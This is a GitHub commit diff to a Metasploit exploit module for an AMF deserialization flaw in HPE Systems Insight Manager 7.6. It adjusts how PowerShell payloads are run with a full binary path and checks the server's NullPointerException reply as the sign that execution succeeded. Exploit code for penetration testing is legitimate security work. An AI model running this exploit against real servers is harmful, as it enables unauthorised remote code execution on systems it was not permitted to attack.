Skip to content

Commit 306e197

Browse files
committed
First round of code adjustments per review comments
1 parent adbb6f1 commit 306e197

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/windows/http/hpe_sim_76_amf_deserialization.rb

+4-4
Original file line numberDiff line numberDiff line change
@@ -90,9 +90,9 @@ def check
9090
def exploit
9191
case target['Type']
9292
when :windows_command
93-
execute_command(payload.encoded.gsub!(/^powershell.exe /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '))
93+
execute_command(payload.encoded.gsub!(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
9494
when :windows_powershell
95-
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).gsub!(/^powershell.exe /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '))
95+
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.
9696
end
9797
end
9898

@@ -141,8 +141,8 @@ def execute_command(cmd, _opts = {})
141141
unless res&.code == 200
142142
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
143143
end
144-
if !res.to_s.include?('java.lang.NullPointerException')
145-
fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was recieved!')
144+
unless res.to_s.include?('java.lang.NullPointerException')
145+
fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was received!')
146146
end
147147
end
148148
end

0 commit comments

Comments
 (0)